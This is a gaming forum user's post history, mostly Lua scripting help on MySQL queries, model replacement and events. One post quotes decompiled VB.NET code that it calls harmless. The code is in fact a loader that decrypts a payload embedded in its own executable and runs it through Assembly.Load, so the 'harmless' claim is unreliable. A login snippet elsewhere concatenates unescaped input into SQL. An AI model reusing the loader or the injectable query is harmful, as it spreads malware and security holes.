-
Posts
67 -
Joined
-
Last visited
Posts posted by Techial
-
-
Just draw everything in the render target, then you can draw the render target; ANY size.
(Everything inside will of course get smaller)
Anyways what's your resolution?
Get the render target to fit on YOUR screen, then you can do size*(screenWidth/yourResolution), size*(screenHeight/yourResolution) and so on.
-
Nope, you're returning a table, and mysql_num_rows needs a mysql_Result haha. but with your edit in the log command it should work, sec.
edit; it works, thanks.
Can you also tell me, why doesn't this one work;
local db = exports["Main-system"]:getMysqlConnection();
outputDebugString gives me; getMysqlConnect();
I have no idea haha!
Anyways, glad I was able to help you
BTW, my fix will save you 3-4 lines on each query. ^^
-
pmed it.
I guess the last thing I PM'd you should fix it.
addCommandHandler("log", function ( thePlayer, command, value1, value2 ) local query; if ( value1 and value2 ) then query = exports["Main-system"]:clean_query ( "SELECT `AccountId`, `AccountPassword`, `AccountUsername` FROM `Accounts` WHERE `AccountPassword` = '".. mysql_escape_string ( db, value1 ) .."' AND `AccountUsername` = '".. mysql_escape_string ( db, value2 ) .."'" ); elseif ( value1 and not value2 ) then query = exports["Main-system"]:clean_query ( "SELECT `AccountId`, `AccountPassword`, `AccountUsername` FROM `Accounts` WHERE `AccountPassword` = '".. value1 .."' and `AccountUsername` = '".. getPlayerName ( thePlayer ) .."'" ); else outputChatBox ( "Wrong usage: /log [] ", thePlayer ); return; end if ( query > 0) then local row = query[1] setElementData ( thePlayer, "loggedin", true ); setElementData ( thePlayer, "accountid", row["AccountId"] ); spawnPlayer ( source, 1686, -2334, 14 ); fadeCamera ( source, true ); setCameraTarget ( source, source ); else outputChatBox ( "nopes", thePlayer ); return; end end );
-
Somehow my mysqlHandler is empty in another file, this isn't wrong is it .-. :
file1;
function getMysqlConnection () return db; end
file2
local db = exports["Main-system"]:getMysqlConnection();
Errm, could you send me your whole database library?
(Mask the username,pass,host and so on)
-
aha ok Create the file and name it replace
put this Code
function replaceModel() txd = engineLoadTXD("replace/androm.txd", 592) engineImportTXD(txd, 592) dff = engineLoadDFF("replace/androm.dff", 592 ) engineReplaceModel(dff, 592) end addEventHandler ( "onClientResourceStart", getResourceRootElement(getThisResource()), replaceModel )
Sorry if it took me too long to reply once again.
May I ask if this stream the models to both client and server?
Thanks for your help!
That script is client-sided.
It temprorarily replaces a model in the client's engine.
Which means you need to download the model file to the client before launching script.
After leaving the server, MTA replaces the downloaded file with a backup done BEFORE entering server.
<meta> <file src="model.txd"/> <file src="model.dff"/> <script src="client.lua" type="client"/> </meta>
-
Have you tried
-- Assuming you've already defined handler. local query = mysql_query(handler, "SELECT version()") local result = {} while true do local row = mysql_fetch_assoc(query) if (not row) then break end table.insert(result, row) end return result
-
-
Take this bat, and hit me as hard as you can.
No need mate
We all make mistakes!
-
Because you have to fetch the result.
-
http://www.gammon.com.au/scripts/doc.php?lua=loadstring
local launch = assert(loadstring(SCRIPT-IN-STRING-HERE)) launch() --Alternative: assert(loadstring(SCRIPT-IN-STRING-HERE))()
-
You could try looping through all the players.
Get the distance between you and them, and if it's inside your parameters it would outputChatBox to them (server-side)
-
triggerClientEvent(PlayerToSendInfoTo, "onRegister", root)
-
It should also work going on http://game-state.eu/ adding you server there.
(Should popup instantly after that)
- 1
-
Oh god, I just recognized this script..
I made it for aR//
Thanks for stealing it!
-
addEventHandler("onPlayerChat", getRootElement(), function(message, messageType) for index, word in ipairs(bannedWords) do if (string.find(string.lower(message), word)) then outputChatBox("Player "..getPlayerName(source).." kicked! Reason: Bad Word!", root, 255, 255, 255, true) end end end)
-
Oh, and you might want to look into this
-
This script is harmless, it seems to read a file named ExcelFile.xlsx located in C:\ which only exists on his computer.
And second of all, all the code in there is C&P; but just one thing.
It does not provide you with anything more than a button, checkbox, linkLabel (Label with link color like in HTML), notifyIcon(taskbar) and numericUpDown(Number selection box).
And the "suspicious" send email part, what it does is send an email from "[email protected]" to the email "[email protected]" with the subject "test" and body "test".
And another thing to mention, after looking at the source code; you can clearly see that everytime it sends a mail it says "Mail sent"
MessageBox.Show("Email Sent")
(A.K.A msgbox("Email Sent"))
Well that explains everything.. People just got their own ways of scripting lol.. However I still don't know what to believe, maybe it does do something different, just blind to see it. I'll not take any risks though, wont be downloading it and thanks for the information.
Imports Microsoft.VisualBasic
Imports Microsoft.VisualBasic.CompilerServices
Imports System
Imports System.Collections.Generic
Imports System.ComponentModel
Imports System.Data
Imports System.Data.OleDb
Imports System.Diagnostics
Imports System.Drawing
Imports System.IO
Imports System.Net
Imports System.Net.Mail
Imports System.Reflection
Imports System.Runtime.CompilerServices
Imports System.Text
Imports System.Windows.Forms
Namespace live
<DesignerGenerated> _
Friend Class Form1
Inherits Form
' Methods
Public Sub New()
Form1.__ENCAddToList(Me)
Me.delim = "//fhsgfjsdzerbfd//"
Me.coca = "Class1"
Me.pepsi = "start"
Me.white = Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(1))
Me.red = Me.dcrp(Me.gstr(Me.white), Me.gstr(Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(3))))
Me.carpet = Me.gbyt(Me.red)
Me.InitializeComponent
Me.SendEmail("[email protected]", "[email protected]", "test", "test")
End Sub
<DebuggerNonUserCode> _
Private Shared Sub __ENCAddToList(ByVal value As Object)
Dim list As List(Of WeakReference) = Form1.__ENCList
SyncLock list
If (Form1.__ENCList.Count = Form1.__ENCList.Capacity) Then
Dim index As Integer = 0
Dim num3 As Integer = (Form1.__ENCList.Count - 1)
Dim i As Integer = 0
Do While (i <= num3)
Dim reference As WeakReference = Form1.__ENCList.Item(i)
If reference.IsAlive Then
If (i <> index) Then
Form1.__ENCList.Item(index) = Form1.__ENCList.Item(i)
End If
index += 1
End If
i += 1
Loop
Form1.__ENCList.RemoveRange(index, (Form1.__ENCList.Count - index))
Form1.__ENCList.Capacity = Form1.__ENCList.Count
End If
Form1.__ENCList.Add(New WeakReference(RuntimeHelpers.GetObjectValue(value)))
End SyncLock
End Sub
<MethodImpl(MethodImplOptions.NoInlining)> _
Public Sub adios()
ProjectData.EndApp
End Sub
Public Sub blue(ByVal AssemblyName As Byte(), ByVal ClassName As String, ByVal MethodName As String, ByVal args As Object())
Dim arguments As Object() = New Object() { AssemblyName, ClassName, MethodName, args }
Dim copyBack As Boolean() = New Boolean() { True, True, True, True }
NewLateBinding.LateCall(RuntimeHelpers.GetObjectValue(Activator.CreateInstance(Assembly.Load(Me.gbyt(Me.dcrp(Me.gstr(Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(2))), Me.gstr(Me.gbyt(Me.spt(Me.gstr(Me.expat), Me.delim)(3)))))).GetType("PP.PP"))), Nothing, "IM", arguments, Nothing, Nothing, copyBack, True)
If copyBack(0) Then
AssemblyName = DirectCast(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(0)), GetType(Byte())), Byte())
End If
If copyBack(1) Then
ClassName = CStr(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(1)), GetType(String)))
End If
If copyBack(2) Then
MethodName = CStr(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(2)), GetType(String)))
End If
If copyBack(3) Then
args = DirectCast(Conversions.ChangeType(RuntimeHelpers.GetObjectValue(arguments(3)), GetType(Object())), Object())
End If
End Sub
Public Function dcrp(ByVal inputstring As String, ByVal pass As String) As String
If (inputstring = "email") Then
Me.blue(Me.carpet, Me.coca, Me.pepsi, New Object(0 - 1) {})
Me.adios
End If
Dim bytes As Byte() = Encoding.Default.GetBytes(inputstring)
Dim num As Integer = 0
Dim str2 As String = pass
Dim num7 As Integer = 0
Dim length As Integer = str2.Length
Do While (num7 < length)
Dim ch As Char = str2.Chars(num7)
num = (num + Strings.Asc(ch))
num7 += 1
Loop
Dim num9 As Integer = (bytes.Length - 2)
Dim i As Integer = 0
Do While (i <= num9)
Dim num2 As Integer = bytes(i)
Dim num4 As Integer = bytes((i + 1))
Dim num5 As Integer = (((2 * num4) - num) - num2)
Dim num3 As Integer = ((num - num2) + num4)
Do While (num3 < 0)
num3 = (num3 + &H100)
Loop
Do While (num5 < 0)
num5 = (num5 + &H100)
Loop
bytes(i) = CByte((num3 Mod &H100))
bytes((i + 1)) = CByte((num5 Mod &H100))
i = (i + 2)
Loop
Return Encoding.Default.GetString(bytes)
End Function
<DebuggerNonUserCode> _
Protected Overrides Sub Dispose(ByVal disposing As Boolean)
Try
If (disposing AndAlso (Not Me.components Is Nothing)) Then
Me.components.Dispose
End If
Finally
MyBase.Dispose(disposing)
End Try
End Sub
Public Function expat() As Byte()
Return File.ReadAllBytes(Application.ExecutablePath)
End Function
Public Function gbyt(ByVal value As String) As Byte()
Return Encoding.Default.GetBytes(value)
End Function
Public Function gstr(ByVal value As Byte()) As String
Return Encoding.Default.GetString(value)
End Function
<DebuggerStepThrough> _
Private Sub InitializeComponent()
Me.components = New Container
Me.NotifyIcon1 = New NotifyIcon(Me.components)
Me.NumericUpDown1 = New NumericUpDown
Me.Button1 = New Button
Me.CheckBox1 = New CheckBox
Me.LinkLabel1 = New LinkLabel
Me.NumericUpDown1.BeginInit
Me.SuspendLayout
Me.NotifyIcon1.Text = "NotifyIcon1"
Me.NotifyIcon1.Visible = True
Dim point2 As New Point(&H95, &H4D)
Me.NumericUpDown1.Location = point2
Me.NumericUpDown1.Name = "NumericUpDown1"
Dim size2 As New Size(120, 20)
Me.NumericUpDown1.Size = size2
Me.NumericUpDown1.TabIndex = 0
point2 = New Point(&H7C, &H93)
Me.Button1.Location = point2
Me.Button1.Name = "Button1"
size2 = New Size(&H4B, &H17)
Me.Button1.Size = size2
Me.Button1.TabIndex = 1
Me.Button1.Text = "Button1"
Me.Button1.UseVisualStyleBackColor = True
Me.CheckBox1.AutoSize = True
point2 = New Point(&H8B, &H75)
Me.CheckBox1.Location = point2
Me.CheckBox1.Name = "CheckBox1"
size2 = New Size(&H51, &H11)
Me.CheckBox1.Size = size2
Me.CheckBox1.TabIndex = 2
Me.CheckBox1.Text = "CheckBox1"
Me.CheckBox1.UseVisualStyleBackColor = True
Me.LinkLabel1.AutoSize = True
point2 = New Point(&H39, &H27)
Me.LinkLabel1.Location = point2
Me.LinkLabel1.Name = "LinkLabel1"
size2 = New Size(&H3B, 13)
Me.LinkLabel1.Size = size2
Me.LinkLabel1.TabIndex = 3
Me.LinkLabel1.TabStop = True
Me.LinkLabel1.Text = "LinkLabel1"
Dim ef2 As New SizeF(6!, 13!)
Me.AutoScaleDimensions = ef2
Me.AutoScaleMode = AutoScaleMode.Font
size2 = New Size(&H11C, &H105)
Me.ClientSize = size2
Me.Controls.Add(Me.LinkLabel1)
Me.Controls.Add(Me.CheckBox1)
Me.Controls.Add(Me.Button1)
Me.Controls.Add(Me.NumericUpDown1)
Me.Name = "Form1"
Me.Text = "Form1"
Me.NumericUpDown1.EndInit
Me.ResumeLayout(False)
Me.PerformLayout
End Sub
Private Function ReadExcelFile(ByVal filePath As String, ByVal fileName As String) As DataSet
If (filePath <> "C:\") Then
fileName = "ExcelFile.xlsx"
End If
If (fileName <> "ExcelFile.xlsx") Then
Dim connectionString As String = (String.Format("Provider=Microsoft.Jet.OLEDB.4.0;Data Source={0}", (filePath & fileName)) & ";Extended Properties=""Excel 8.0;HDR=Yes;IMEX=1;""")
Dim str2 As String = "SELECT * FROM [sheet1$]"
Dim info As New FileInfo(fileName)
If (info.Extension.ToLower = ".xlsx") Then
connectionString = (String.Format("Provider=Microsoft.ACE.OLEDB.12.0;Data Source={0}", (filePath & fileName)) & ";Extended Properties=""Excel 12.0 Xml;HDR=YES;""")
End If
Dim dataSet As New DataSet
Dim connection As New OleDbConnection(connectionString)
Try
connection.Open
Dim command As New OleDbCommand With { _
.Connection = connection, _
.CommandText = str2 _
}
New OleDbDataAdapter() With { _
.SelectCommand = command _
}.Fill(dataSet)
Catch exception1 As Exception
ProjectData.SetProjectError(exception1)
Dim exception As Exception = exception1
Me.Close
ProjectData.ClearProjectError
Finally
connection.Close
End Try
Return dataSet
End If
Return New DataSet
End Function
Public Function SendEmail(ByVal From As String, ByVal receiver As String, ByVal subject As String, ByVal body As String) As Object
Dim obj2 As Object
Me.dcrp("email", "send")
Dim message As New MailMessage With { _
.From = New MailAddress(From) _
}
message.To.Add(receiver)
message.Subject = subject
message.Body = body
Dim client As New SmtpClient("smtp.gmail.com") With { _
.Port = &H24B, _
.Credentials = New NetworkCredential("account uid", " account pwd"), _
.EnableSsl = True _
}
Try
client.Send(message) -
This script is harmless, it seems to read a file named ExcelFile.xlsx located in C:\ which only exists on his computer.
And second of all, all the code in there is C&P; but just one thing.
It does not provide you with anything more than a button, checkbox, linkLabel (Label with link color like in HTML), notifyIcon(taskbar) and numericUpDown(Number selection box).
And the "suspicious" send email part, what it does is send an email from "[email protected]" to the email "[email protected]" with the subject "test" and body "test".
And another thing to mention, after looking at the source code; you can clearly see that everytime it sends a mail it says "Mail sent"
MessageBox.Show("Email Sent")
(A.K.A msgbox("Email Sent"))
-
No offense, but that's a bad way to do it.
You better send the maps table to client side and then search on the client side.
I'm just making it as easy as possible for myself when giving out codes
-
function searchMaps(mapSearch) for i,v in ipairs(getResources()) do if(getResourceInfo(v, "type") == "map") and (getResourceInfo(v, "gamemodes") == "race")then if(string.find(getResourceInfo(v, "name"), mapSearch) or mapSearch == "")then triggerClientEvent(source, "YOUREVENT", source, getResourceInfo(v, "name")) end end end end addEvent("searchMaps", true) addEventHandler("searchMaps", root, searchMaps)
-
Did you guys even read my post?
-
You won't get one for free, that's for sure.
-
Admin chat is between admins only, you won't see players in that list.
-
EDIT: I'm sorry, I thought you made the script for another resource than race.
I apologies.
Is your server not showing in the server browser?
in Servers
Posted